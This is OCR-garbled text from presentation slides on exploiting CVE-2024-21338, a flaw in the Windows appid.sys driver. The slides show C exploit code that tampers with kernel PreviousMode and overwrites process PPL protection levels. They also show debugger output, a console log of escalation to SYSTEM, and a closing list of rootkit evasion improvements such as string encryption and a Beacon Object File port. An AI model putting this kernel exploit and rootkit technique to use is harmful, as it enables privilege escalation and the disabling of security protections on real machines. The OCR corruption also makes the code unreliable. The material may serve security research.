int iterPid = readqword(NULL, (iterProc + ©x448));
while (targetPPL == @) {
if (iterPid == myPid) {
printf("[+] Target process found at: %1lx\n", iterProc);
targetPPL = readqword(NULL, (iterProc + ©x87a));
// (first 4 bits = SIGNER, 5th bit = AUDIT (boolean), 6-8 bits = TYPE (light/1, normal/2, max/3)
ULONGLONG protectionLevel = (targetPPL & OxFFFFFFFFFFFFFF@®); // zero out least significant byte
int protSigner = 3; // antimalware

// Shift protected signer 4 bits to the left, then add 1 (ebeeel, Audit=0 and ProtectedType = 1 (light))

if (protSigner != @) { // if not turning OFF
protSigner = (protSigner << 4) + 1;
1

protectionLevel = protectionLevel | protSigner; // OR values together to fill least significant byte

printf("[+] Setting protection level (PPL) to %llx\n", (protectionLevel & ©xFF));
writeqword(NULL, (iterProc + @x87a), protectionLevel);

i
else {
// Move to next EPROCESS
iterProc = (readqword(NULL, (iterProc + ©x448))) - ©x448;
// Read next PID from EPROCESS +0x440
// (if EPROCESS pid is equal to 4 again, entire process loop has completed without finding targets)
iterPid = readqword(NULL, (iterProc + ©x448));
if (iterPid == 4) {
printf("[-] Could not find target PS_PROTECTION struct in kernel.\n");
¥
}
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RESTORE PREVIOUSMODE,
CLEAN UP, EXIT

// DEBUG: Check if exploit succeeded
printf("[*] Hit enter when ready to close exploit");
getchar();

///// CLEAN UP AND EXIT /////

// Restore PreviousMode to usermode

ULONGLONG prevModeQword = readqword(NULL, pPreviousMode);

ULONGLONG restorePM = prevModeQword ~ 1 << 8;

writeqword(NULL, pPreviousMode, restorePM);

printf("[*] Restored previous mode to user mode. Cleaning up and exiting\n");
Sleep(2000);

// Free memory
VirtualFree(in_buf, ©, MEM_RELEASE);
VirtualFree(out_buf, ©, MEM_RELEASE);

// Close handles and revert token
CloseHandle(hSvcToken);
CloseHandle(hAppid);
RevertToSelf();
//DeleteFilel(fName);
//CloseHandle(eaFile);

return ©;
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EXAMINING CALLBACK
OVERWRITE IN WINDBG

A&

kd> u rip L1

nt!lExpProfileDelete:
fHifg8ea” a1d57408 4853 push

-

=S = e

CRIERIBISRIRIGRISRIRIS

kd> k

Child-sp
THffc489” bseed448
+Hffraga” haaadasa
THffc489” bseeds56
THffc489” bseedese
tHffca89” bseed726
tHffca89” bseedses
THffc489” bseedsae
THffc489” bseedsee
tHffca89” bseedaz2e
tHffca89” bs5eedage
000eee61” fatdfbog
000eee61” faftdfbae
peeeen61” tatdfbasg

: kd> dgq rcx L1

RetAddr

fffff8e4 4a73cfi1e
fF+Hfeoa " Aa7127AF
884 4a738863e
fffffaea aa72cec3
fff8e4a 416d1f35
ffff8e4 A1aa6tbhs
884 41226885
884 41326286
fff8e4 418058b5
oeee7ffe” foeabead
peea7ffe eddi8beb
2eep7{fe” ee50f4e8
000PPERe” PEPOPROO

ffffcoee fbafolee ffffcoee” fa8ce2e2
1: kd> ? poi(rcx) - ex232 - @x3e
Evaluate expression: -60408806449024 = ffffc9ee fa8ceb80
led > |nhjpr+ FFHfrane” falraflR
Object: ffffcoeefa8ceds8@ Type: (ffffcoeet58b3e88) Thread
ObjectHeader: ffffc9@efa8ced50 (new version)

i=

THREAD ffffc9vefa8ce®88 Cid ©b28.0b6e Teb: poBREeE61Thbed7600 Win32Thread: 6000BEREOONOREOD RL

WUAamAdl araund 2 Mo cnd =

EC AT

1: kd> Ithread
IRP List:
ffffcoeefaafdoso:

Impersonation token:
DeviceMap
Owning Process

R T S T I 5 T T

rbx

call site

nt!ExpProfileDelete

annidlAnnHachComnuteT pageHashInternal +0x82
appid!AppHashComputeFileHashesInternal+exl14b
appid!AipSmartHashImageFile+0xd6
appid!AipDeviceloControlDispatch+ox123
nt!TIofCallDriver+oxs5
nt!IopSynchronousServiceTail+0x1a8
nt!IopXxxControlFile+@x5e5
ntINtDeviceloControlFile+ax56
nt!KiSystemServiceCopyEnd+8x25

oxee0e7ffe foe4beasd

oxee0e7ffe edd18beb

oxeeee/ffe ee50t4e8

(0006,0118) Flags: 00060070 Mdl: P00EOERO
fffb4gt751bavee (Level Impersonation)

fffbagf71633216
ffffcovefacp32co

mi fn

Image: cve-2024-21338.exe

nnnnn LTI



21338.exe (556) Properties

SeDebugPrivilege enabled y  Environment  Handles  GPU Disk and Metwork ~ Comment
*] Opened thread handle to self: exfe = Perfi e Threads Modules
Leaked KTHREAD for current process: Bxffffae@5f34e98808
*] Opened file handle: @xfe
Leaked kernel file object: exffffae85f445f898
*] Base address of ntoskrnl: exfffffse4sfaeeece

Found kernel mode address of nt!ExpProfileDelete: exfffff8e4684015ce
. s - *] Current token user: WINDEV2481EVAL\User
*] Not running as NT AUTHORITY\LOCAL SERVICE

Elevating to SYSTEM token
Obtained token for NT AUTHORITY\SYSTEM from PID 744
Impersonated NT AUTHORITY\SYSTEM
Obtained token for NT AUTHORITY\LOCAL SERVICE from PID 1280
Impersonated NT AUTHORITY\LOCAL SERVICE
Could not obtain handle to Appid.sys with token, trying again
Elevating to SYSTEM token
Obtained token for NT AUTHORITY\SYSTEM from PID 744
Impersonated NT AUTHORITY\SYSTEM
Obtained token for NT AUTHORITY\LOCAL SERVICE from PID 1288
Impersonated NT AUTHORITY\LOCAL SERVICE Parent:
Opened handle to appid.sys driver
Hit enter to begin
Calling IOCTL to exploit callback overwrite with nt!ExpProfileDelete ) o -
Pr‘e\.rioﬁs mode has bZen set to kernel mode. RW pr‘imi:i\.rZS active on:_Lioht [EHTERES]
Kernel pointer to SYSTEM process: ff{ff8646671eab@
Target process found at: ffffae@sf3fb7ece
Setting protection level (PPL) to 31
en:er:uhen ;ead" to close exploit

Image type: 64-bit

Mitigation polici

Terminate

SUCCESS IN FULLY UPDATED einion Updat
WINDOWS 11 BUILD 22621

curity Intelligence Update for Microsoft Defender Antivirus - K
rn more

re platform - KB
Learn more

er Antivirus antimalware platform - 052623 (Version
hannel (Broad) Learn more

m Q b m O M@ o o
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https://github.com/ColeHouston/Sunder

EXPLOITING
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FAILURE IN LATEST WINDOWS 11
BUILD, PREVIOUSMODE
TECHNIQUE MITIGATED

e STILL WORKS SOMEWHERE:
WIN11 BUILD 22621 DOES NOT
BLOCK PREVIOUSMODE
TECHNIQUE

****************************;******************k****é**;*%***%*****************
#® &

* Bugcheck Analysis *

E
EEdcEERRERE R R R R kR R kR R R R R kR R Rk R Rk e R e R R R e kR R R Rk R e R R kR e R e R e

E

PREVIOUS MODE MISMATCH (1f9)
A filesystem or driver has modified a thread's previous mode without restoring
it.

Arguments:
Argl: 0eee7ffcdl8deeed, Address of system call or callback function

Arg2: 0000000000000000, Thread->PreviousMode
Arg3: 0PP0PBODOLVPVBBO, Location of previous mode mismatch
Argd: 800000000800000

Debugging Details:



POTENTIAL ROOTKIT IMPROVEMENTS

« WINDOWS VERSION CHECKING FOR OFFSETS

»  WRITE SERVICE BINARY TO DISK
AUTOMATICALLY CREATE/START/STOP KERNEL DRIVER SERVICE

« ACCEPT POST-EX OPTIONS AS COMMANDLINE ARGS
« FUNCTION HASHING/SYSCALLS FOR SENSITIVE APIS

 ENCRYPT ALL PLAINTEXT STRINGS
OPT FOR HASHING WHERE POSSIBLE

« SEPARATE REUSABLE EXPLOIT FUNCTIONS INTO UTILS DLL
FINDGADGET, GETMODBASE, ETC

« PORT CODE TO BEACON OBJECT FILE (BOF)
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